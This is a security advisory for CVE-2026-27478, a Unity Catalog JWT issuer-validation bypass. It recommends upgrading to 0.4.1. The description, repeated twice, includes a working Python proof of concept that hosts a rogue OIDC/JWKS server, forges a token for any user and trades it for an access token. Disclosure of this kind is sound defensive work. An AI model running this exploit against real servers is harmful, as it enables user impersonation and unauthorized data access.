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9.1
CVE-2026-27478: Unity Catalog Exposes Data to Unauthorized Access
CVE-2026-27478
GHSA-qqcj-rghw-829x
Summary
A critical security flaw in Unity Catalog's token exchange endpoint allows attackers to access data without proper authentication. This could lead to unauthorized access to sensitive data and AI information. Update to the latest version of Unity Catalog to fix the issue.
What to do
- Update io.unitycatalog:unitycatalog-server to version 0.4.1.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| maven | – | io.unitycatalog:unitycatalog-server |
<= 0.4.0 Fix: upgrade to 0.4.1
|
Original title
Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation
Original description
**Context:**
A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.
**Way to exploit:**
An attacker can exploit this by:
1. Hosting their own OIDC-compliant server with a valid JWKS endpoint
2. Signing a JWT with their own private key, setting the iss claim to their server
3. Setting the sub/email claim to any known user in the Unity Catalog system
4. Exchanging this crafted token for a valid internal access token
This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.
Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.
**Example**
Example implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.
This can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.
```python
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""
import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify
TARGET_USER = "[email protected]"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"
# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)
# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}
# Create malicious JWT
token = jwt.encode(
{"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
"iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
algorithm="RS256", headers={"kid": kid}
)
# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True
@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})
@app.route("/jwks")
def keys(): return jsonify(jwks)
threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)
# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"subject_token": token})
if resp.status_code == 200:
access_token = resp.json()["access_token"]
print(f"[+] Got access token as '{TARGET_USER}'")
# Demo: list catalogs
catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
headers={"Authorization": f"Bearer {access_token}"})
print(catalogs.json())
else:
print(f"[-] Failed: {resp.status_code} {resp.text}")
```
A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.
**Way to exploit:**
An attacker can exploit this by:
1. Hosting their own OIDC-compliant server with a valid JWKS endpoint
2. Signing a JWT with their own private key, setting the iss claim to their server
3. Setting the sub/email claim to any known user in the Unity Catalog system
4. Exchanging this crafted token for a valid internal access token
This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.
Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.
**Example**
Example implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.
This can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.
```python
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""
import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify
TARGET_USER = "[email protected]"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"
# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)
# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}
# Create malicious JWT
token = jwt.encode(
{"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
"iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
algorithm="RS256", headers={"kid": kid}
)
# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True
@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})
@app.route("/jwks")
def keys(): return jsonify(jwks)
threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)
# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"subject_token": token})
if resp.status_code == 200:
access_token = resp.json()["access_token"]
print(f"[+] Got access token as '{TARGET_USER}'")
# Demo: list catalogs
catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
headers={"Authorization": f"Bearer {access_token}"})
print(catalogs.json())
else:
print(f"[-] Failed: {resp.status_code} {resp.text}")
```
nvd CVSS3.1
9.1
Vulnerability type
CWE-290
CWE-346
CWE-1390
Published: 11 May 2026 · Updated: 28 May 2026 · First seen: 11 Mar 2026